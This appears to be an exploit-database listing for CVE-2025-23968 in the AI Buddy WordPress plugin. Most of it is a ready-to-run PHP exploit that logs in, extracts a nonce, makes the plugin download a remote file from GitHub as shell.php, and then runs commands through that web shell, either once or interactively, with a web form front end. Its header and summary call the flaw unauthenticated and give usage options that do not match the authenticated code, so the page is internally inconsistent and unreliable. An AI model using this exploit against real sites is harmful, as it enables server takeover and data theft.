Share
## https://sploitus.com/exploit?id=PACKETSTORM:216546
=============================================================================================================================================
| # Title : AI Bud 1.8.5 Unauthenticated RCE Exploit |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://ai.cibeles.net/ |
=============================================================================================================================================
POC :
[+] References : https://packetstorm.news/files/id/210977/ & CVE-2025-23968
[+] Summary :
an unauthenticated arbitrary file upload vulnerability in the AI Bud 1.8.5 plugin v 1.8.5 and earlier.
The vulnerability allows unauthenticated attackers to upload arbitrary files, including PHP webshells, by exploiting the GitHub integration functionality, leading to remote code execution and complete server compromise.
The vulnerability exists in the actualizador_git.php file which provides unauthenticated access to download and execute files from arbitrary GitHub repositories without proper security controls.
[+] POC :
# Execute a single command
php poc.php -t https://target.com -o myuser -r myrepo -k ghp_xxx -c 'id'`
# Interactive shell
php poc.php -t https://target.com -o myuser -r myrepo -k ghp_xxx -i`
# Create a shell for the repo
php poc.php --create-shell`
<?php
/**
* AI Buddy Plugin <= 1.8.5 - Authenticated Arbitrary File Upload RCE Exploit (CVE-2025-23968)
* Author: indoushka
* Vendor: https://wpcenter.io/
* Vulnerable Versions: <= 1.8.5
*/
class AIBuddyExploit {
private $target;
private $cookies;
public function __construct($target_url) {
$this->target = rtrim($target_url, '/');
$this->cookies = [];
}
public function wp_login($username, $password) {
echo "[*] Logging into WordPress...\n";
$login_data = http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $this->target . '/wp-admin',
'testcookie' => '1'
]);
$context = stream_context_create([
'http' => [
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n" .
"Cookie: wordpress_test_cookie=WP Cookie check\r\n",
'content' => $login_data,
'follow_location' => false
]
]);
$response = file_get_contents($this->target . '/wp-login.php', false, $context);
// Extract cookies from response headers
if (isset($http_response_header)) {
foreach ($http_response_header as $header) {
if (strpos($header, 'Set-Cookie:') === 0) {
$cookie = trim(substr($header, 11));
$cookie_parts = explode(';', $cookie);
$name_value = explode('=', $cookie_parts[0], 2);
if (count($name_value) === 2) {
$this->cookies[$name_value[0]] = $name_value[1];
}
}
}
}
if (isset($this->cookies['wordpress_logged_in'])) {
echo "[+] Successfully logged in\n";
return true;
} else {
echo "[-] Login failed\n";
return false;
}
}
public function get_cookie_header() {
$cookie_string = '';
foreach ($this->cookies as $name => $value) {
$cookie_string .= $name . '=' . $value . '; ';
}
return rtrim($cookie_string, '; ');
}
public function extract_nonce() {
echo "[*] Extracting AI Buddy nonce...\n";
$context = stream_context_create([
'http' => [
'method' => 'GET',
'header' => "Cookie: " . $this->get_cookie_header() . "\r\n"
]
]);
$response = file_get_contents($this->target . '/wp-admin/tools.php', false, $context);
if ($response === false) {
echo "[-] Failed to access tools.php\n";
return null;
}
// Extract nonce using regex
$pattern = '/<script id="ai_buddy_admin_scripts-js-extra">.*?var ai_buddy_localized_data = (.*?);\s*<\/script>/s';
preg_match($pattern, $response, $matches);
if (isset($matches[1])) {
$data = json_decode($matches[1], true);
if (isset($data['ai_buddy_image_post_attachment']['nonce'])) {
$nonce = $data['ai_buddy_image_post_attachment']['nonce'];
echo "[+] Nonce found: " . $nonce . "\n";
return $nonce;
}
}
echo "[-] Failed to extract nonce\n";
return null;
}
public function upload_shell($nonce) {
echo "[*] Uploading web shell via AI Buddy...\n";
$payload = [
"title" => "hack",
"caption" => "the",
"alt" => "planet",
"description" => "Hack the Planet!",
"url" => "https://raw.githubusercontent.com/d0n601/d0n601/refs/heads/master/test.jpg",
"filename" => "shell.php"
];
$json_payload = json_encode($payload);
$context = stream_context_create([
'http' => [
'method' => 'POST',
'header' => "Content-Type: application/json; charset=UTF-8\r\n" .
"X-Wp-Nonce: " . $nonce . "\r\n" .
"Cookie: " . $this->get_cookie_header() . "\r\n",
'content' => $json_payload
]
]);
$response = file_get_contents($this->target . '/wp-json/ai-buddy/v1/wp/attachments', false, $context);
if ($response === false) {
echo "[-] File upload failed\n";
return false;
}
$result = json_decode($response, true);
if (isset($result['success']) && $result['success']) {
echo "[+] Web shell uploaded successfully\n";
// Try to find the shell URL
$shell_url = $this->find_shell_url();
if ($shell_url) {
echo "[+] Shell accessible at: " . $shell_url . "\n";
return $shell_url;
}
} else {
echo "[-] Upload failed. Response: " . $response . "\n";
}
return false;
}
private function find_shell_url() {
$current_year = date('Y');
$current_month = date('m');
$possible_paths = [
"/wp-content/uploads/{$current_year}/{$current_month}/shell.php",
"/wp-content/uploads/shell.php",
"/wp-content/uploads/ai-buddy/shell.php"
];
foreach ($possible_paths as $path) {
$test_url = $this->target . $path . '?cmd=echo+AI_BUDDY_TEST';
$context = stream_context_create([
'http' => [
'method' => 'GET'
]
]);
$response = @file_get_contents($test_url, false, $context);
if ($response !== false && strpos($response, 'AI_BUDDY_TEST') !== false) {
return $this->target . $path;
}
}
// If not found, return the most likely path
return $this->target . "/wp-content/uploads/{$current_year}/{$current_month}/shell.php";
}
public function execute_command($shell_url, $command) {
echo "[*] Executing command: " . $command . "\n";
$test_url = $shell_url . '?cmd=' . urlencode($command);
$context = stream_context_create([
'http' => [
'method' => 'GET'
]
]);
$response = @file_get_contents($test_url, false, $context);
if ($response === false) {
echo "[-] Command execution failed\n";
} else {
echo "[+] Command output:\n";
echo $response . "\n";
}
return $response;
}
public function interactive_shell($shell_url) {
echo "[+] Starting interactive shell...\n";
echo "[+] Type 'exit' to quit\n\n";
while (true) {
echo "cmd> ";
$command = trim(fgets(STDIN));
if ($command === 'exit') {
break;
}
if (!empty($command)) {
$this->execute_command($shell_url, $command);
}
}
}
public function exploit($username, $password, $command = null) {
if (!$this->wp_login($username, $password)) {
return false;
}
$nonce = $this->extract_nonce();
if (!$nonce) {
return false;
}
$shell_url = $this->upload_shell($nonce);
if (!$shell_url) {
return false;
}
if ($command) {
$this->execute_command($shell_url, $command);
} else {
$this->interactive_shell($shell_url);
}
return true;
}
}
// Command line interface
if (php_sapi_name() === 'cli') {
echo "
โโโโโโโ โโโโโโโโโโ โโโโโโโ โโโ โโโโโโโโโโโโโโ โโโโโโ โโโ โโโโโโ
โโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโ โโโโโโ โโโโโโโโโโโโ
โโโโโโโโโ โโโโโ โโโโโโ โโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโ
โโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโ โโโโโโ โโโ
โโโโโโ โโโโโโโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโโโโ โโโโโโ โโโโโโ โโโ
AI Buddy <= 1.8.5 Authenticated RCE Exploit (CVE-2025-23968)
By: indoushka
\n";
if ($argc < 4) {
echo "Usage: php ai_buddy_exploit.php <target> <username> <password> [command]\n";
echo "Examples:\n";
echo " php ai_buddy_exploit.php https://target.com admin password123\n";
echo " php ai_buddy_exploit.php https://target.com admin password123 'whoami'\n";
exit(1);
}
$target = $argv[1];
$username = $argv[2];
$password = $argv[3];
$command = $argc > 4 ? $argv[4] : null;
$exploit = new AIBuddyExploit($target);
$exploit->exploit($username, $password, $command);
} else {
// Web interface
if (isset($_POST['exploit'])) {
$target = $_POST['target'] ?? '';
$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';
$command = $_POST['command'] ?? null;
if ($target && $username && $password) {
$exploit = new AIBuddyExploit($target);
ob_start();
$result = $exploit->exploit($username, $password, $command);
$output = ob_get_clean();
echo "<pre>$output</pre>";
} else {
echo "<div style='color: red;'>All fields are required</div>";
}
} else {
echo '<!DOCTYPE html>
<html>
<head>
<title>AI Buddy RCE Exploit</title>
<style>
body { font-family: Arial, sans-serif; margin: 40px; }
.container { max-width: 600px; margin: 0 auto; }
.form-group { margin-bottom: 15px; }
label { display: block; margin-bottom: 5px; font-weight: bold; }
input[type="text"], input[type="password"] {
width: 100%; padding: 8px; border: 1px solid #ddd; border-radius: 4px;
}
button {
background: #007cba; color: white; padding: 10px 20px;
border: none; border-radius: 4px; cursor: pointer;
}
</style>
</head>
<body>
<div class="container">
<h1>AI Buddy RCE Exploit (CVE-2025-23968)</h1>
<form method="post">
<input type="hidden" name="exploit" value="1">
<div class="form-group">
<label for="target">Target URL:</label>
<input type="text" id="target" name="target" placeholder="https://example.com" required>
</div>
<div class="form-group">
<label for="username">Username:</label>
<input type="text" id="username" name="username" required>
</div>
<div class="form-group">
<label for="password">Password:</label>
<input type="password" id="password" name="password" required>
</div>
<div class="form-group">
<label for="command">Command (optional):</label>
<input type="text" id="command" name="command" placeholder="whoami">
</div>
<button type="submit">Execute Exploit</button>
</form>
</div>
</body>
</html>';
}
}
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================